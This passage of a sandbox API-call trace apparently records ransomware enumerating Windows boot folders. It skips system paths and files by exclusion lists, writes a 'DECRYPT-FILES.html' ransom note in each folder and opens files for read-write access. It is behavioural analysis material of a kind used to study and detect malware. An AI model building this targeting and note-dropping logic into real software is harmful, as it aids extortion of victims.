ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x888d87b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0057.879] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0057.879] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0057.879] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0057.879] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0057.879] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0057.879] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0057.879] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0057.879] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0057.879] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0057.879] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0057.879] lstrlenW (lpString="C:\\Boot\\de-DE\\") returned 14 [0057.879] lstrlenW (lpString="wevkgn5.dat") returned 11 [0057.879] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\de-DE\\" | out: lpString1="C:\\Boot\\de-DE\\") returned="C:\\Boot\\de-DE\\" [0057.879] lstrcatW (in: lpString1="C:\\Boot\\de-DE\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\de-DE\\wevkgn5.dat") returned="C:\\Boot\\de-DE\\wevkgn5.dat" [0057.879] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0057.879] CreateFileW (lpFileName="C:\\Boot\\de-DE\\wevkgn5.dat" (normalized: "c:\\boot\\de-de\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.880] CloseHandle (hObject=0x0) returned 0 [0057.880] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.880] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x888d87b0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x888d87b0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x888d87b0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0057.880] FindClose (in: hFindFile=0x66ced8 | out: hFindFile=0x66ced8) returned 1 [0057.880] CloseHandle (hObject=0x280) returned 1 [0057.880] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8869d310, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x8869d310, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8869d310, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0057.880] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0057.880] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0057.880] lstrcmpW (lpString1="el-GR", lpString2=".") returned 1 [0057.880] lstrcmpW (lpString1="el-GR", lpString2="..") returned 1 [0057.880] lstrcatW (in: lpString1="el-GR", lpString2="\\" | out: lpString1="el-GR\\") returned="el-GR\\" [0057.880] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="el-GR\\" | out: lpString1="C:\\Boot\\el-GR\\") returned="C:\\Boot\\el-GR\\" [0057.880] StrStrW (lpFirst="C:\\Boot\\el-GR\\", lpSrch=":\\Windows") returned 0x0 [0057.880] StrStrW (lpFirst="C:\\Boot\\el-GR\\", lpSrch="\\Program Files") returned 0x0 [0057.881] StrStrW (lpFirst="C:\\Boot\\el-GR\\", lpSrch="\\Games\\") returned 0x0 [0057.881] StrStrW (lpFirst="C:\\Boot\\el-GR\\", lpSrch="\\Tor Browser\\") returned 0x0 [0057.881] StrStrW (lpFirst="C:\\Boot\\el-GR\\", lpSrch="\\ProgramData\\") returned 0x0 [0057.881] StrStrW (lpFirst="C:\\Boot\\el-GR\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0057.881] StrStrW (lpFirst="C:\\Boot\\el-GR\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0057.881] StrStrW (lpFirst="C:\\Boot\\el-GR\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0057.881] StrStrW (lpFirst="C:\\Boot\\el-GR\\", lpSrch="\\All Users") returned 0x0 [0057.881] lstrlenW (lpString="C:\\Boot\\el-GR\\") returned 14 [0057.881] lstrlenW (lpString="wevkgn5.dat") returned 11 [0057.881] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\el-GR\\\\wevkgn5.dat") returned 26 [0057.881] CreateFileW (lpFileName="C:\\Boot\\el-GR\\\\wevkgn5.dat" (normalized: "c:\\boot\\el-gr\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x280 [0057.881] lstrlenW (lpString="C:\\Boot\\el-GR\\") returned 14 [0057.881] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0057.881] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\el-GR\\\\DECRYPT-FILES.html") returned 33 [0057.881] CreateFileW (lpFileName="C:\\Boot\\el-GR\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\el-gr\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0057.882] WriteFile (in: hFile=0x2c4, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0057.883] CloseHandle (hObject=0x2c4) returned 1 [0057.883] lstrlenW (lpString="C:\\Boot\\el-GR\\") returned 14 [0057.883] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="*" | out: lpString1="C:\\Boot\\el-GR\\*") returned="C:\\Boot\\el-GR\\*" [0057.883] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x8894abd0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8894abd0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66ced8 [0057.883] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.883] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x8894abd0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8894abd0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.884] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.884] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.884] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.884] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0057.884] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0057.884] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0057.884] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0057.884] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0057.884] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0057.884] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0057.884] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0057.884] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0057.884] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0057.884] lstrlenW (lpString="C:\\Boot\\el-GR\\") returned 14 [0057.884] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0057.884] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\el-GR\\" | out: lpString1="C:\\Boot\\el-GR\\") returned="C:\\Boot\\el-GR\\" [0057.884] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned="C:\\Boot\\el-GR\\bootmgr.exe.mui" [0057.884] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0057.884] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.959] CloseHandle (hObject=0x0) returned 0 [0057.959] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.960] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8894abd0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x8894abd0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8894abd0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0057.960] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0057.960] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8894abd0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x8894abd0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8894abd0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0057.960] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0057.960] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0057.960] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0057.960] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0057.960] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0057.960] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0057.960] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0057.960] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0057.960] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0057.960] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0057.960] lstrlenW (lpString="C:\\Boot\\el-GR\\") returned 14 [0057.960] lstrlenW (lpString="wevkgn5.dat") returned 11 [0057.961] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\el-GR\\" | out: lpString1="C:\\Boot\\el-GR\\") returned="C:\\Boot\\el-GR\\" [0057.961] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\Boot\\el-GR\\wevkgn5.dat") returned="C:\\Boot\\el-GR\\wevkgn5.dat" [0057.961] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0057.961] CreateFileW (lpFileName="C:\\Boot\\el-GR\\wevkgn5.dat" (normalized: "c:\\boot\\el-gr\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.961] CloseHandle (hObject=0x0) returned 0 [0057.961] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.962] FindNextFileW (in: hFindFile=0x66ced8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8894abd0, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x8894abd0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x8894abd0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0057.962] FindClose (in: hFindFile=0x66ced8 | out: hFindFile=0x66ced8) returned 1 [0057.962] CloseHandle (hObject=0x280) returned 1 [0057.962] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0057.962] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0057.962] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0057.962] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0057.962] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="en-US\\" | out: lpString1="C:\\Boot\\en-US\\") returned="C:\\Boot\\en-US\\" [0057.962] StrStrW (lpFirst="C:\\Boot\\en-US\\", lpSrch=":\\Windows") returned 0x0 [0057.962] StrStrW (lpFirst="C:\\Boot\\en-US\\", lpSrch="\\Program Files") returned 0x0 [0057.962] StrStrW (lpFirst="C:\\Boot\\en-US\\", lpSrch="\\Games\\") returned 0x0 [0057.962] StrStrW (lpFirst="C:\\Boot\\en-US\\", lpSrch="\\Tor Browser\\") returned 0x0 [0057.962] StrStrW (lpFirst="C:\\Boot\\en-US\\", lpSrch="\\ProgramData\\") returned 0x0 [0057.963] StrStrW (lpFirst="C:\\Boot\\en-US\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0057.963] StrStrW (lpFirst="C:\\Boot\\en-US\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0057.963] StrStrW (lpFirst="C:\\Boot\\en-US\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0057.963] StrStrW (lpFirst="C:\\Boot\\en-US\\", lpSrch="\\All Users") returned 0x0 [0057.963] lstrlenW (lpString="C:\\Boot\\en-US\\") returned 14 [0057.963] lstrlenW (lpString="wevkgn5.dat") returned 11 [0057.963] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\en-US\\\\wevkgn5.dat") returned 26 [0057.963] CreateFileW (lpFileName="C:\\Boot\\en-US\\\\wevkgn5.dat" (normalized: "c:\\boot\\en-us\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x280 [0057.963] lstrlenW (lpString="C:\\Boot\\en-US\\") returned 14 [0057.963] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0057.963] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Boot\\en-US\\\\DECRYPT-FILES.html") returned 33 [0057.964] CreateFileW (lpFileName="C:\\Boot\\en-US\\\\DECRYPT-FILES.html" (normalized: "c:\\boot\\en-us\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0057.977] WriteFile (in: hFile=0x2f4, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0057.979] CloseHandle (hObject=0x2f4) returned 1 [0057.979] lstrlenW (lpString="C:\\Boot\\en-US\\") returned 14 [0057.979] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="*" | out: lpString1="C:\\Boot\\en-US\\*") returned="C:\\Boot\\en-US\\*" [0057.979] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88996e90, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88996e90, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0057.979] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.979] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x88996e90, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88996e90, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.980] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.980] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.980] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0057.980] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="DECRYPT-FILES.html") returned -1 [0057.980] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="autorun.inf") returned 1 [0057.980] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0057.980] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0057.980] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0057.980] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="iconcache.db") returned -1 [0057.980] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootsect.bak") returned -1 [0057.980] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat.log") returned -1 [0057.980] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="thumbs.db") returned -1 [0057.980] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Bootfont.bin") returned 1 [0057.980] lstrlenW (lpString="C:\\Boot\\en-US\\") returned 14 [0057.980] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0057.981] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\en-US\\" | out: lpString1="C:\\Boot\\en-US\\") returned="C:\\Boot\\en-US\\" [0057.981] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\en-US\\bootmgr.exe.mui") returned="C:\\Boot\\en-US\\bootmgr.exe.mui" [0057.981] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0057.981] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.981] CloseHandle (hObject=0x0) returned 0 [0057.981] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.981] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88996e90, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88996e90, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88996e90, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0057.981] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0057.981] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0057.982] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="DECRYPT-FILES.html") returned 1 [0057.982] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="autorun.inf") returned 1 [0057.982] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="boot.ini") returned 1 [0057.982] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="desktop.ini") returned 1 [0057.982] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="ntuser.dat") returned -1 [0057.982] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="iconcache.db") returned 1 [0057.982] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="bootsect.bak") returned 1 [0057.982] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="ntuser.dat.log") returned -1 [0057.982] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="thumbs.db") returned -1 [0057.982] lstrcmpiW (lpString1="memtest.exe.mui", lpString2="Bootfont.bin") returned 1 [0057.982] lstrlenW (lpString="C:\\Boot\\en-US\\") returned 14 [0057.982] lstrlenW (lpString="memtest.exe.mui") returned 15 [0057.982] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\Boot\\en-US\\" | out: lpString1="C:\\Boot\\en-US\\") returned="C:\\Boot\\en-US\\" [0057.982] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\en-US\\memtest.exe.mui") returned="C:\\Boot\\en-US\\memtest.exe.mui" [0057.982] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0057.982] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.982] CloseHandle (hObject=0x0) returned 0 [0057.983] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.983] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88970d30, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x88970d30, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x88970d30, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0057.983] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0057.983] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0057.983] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0057.983] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0057.983] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0057.983] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0057.983] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0057.983] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0057.983] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0057.983] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0057.983] lstrlenW (lpString="C:\\Boot\\en-US\\") returned 14 [0057.983] lstrlenW 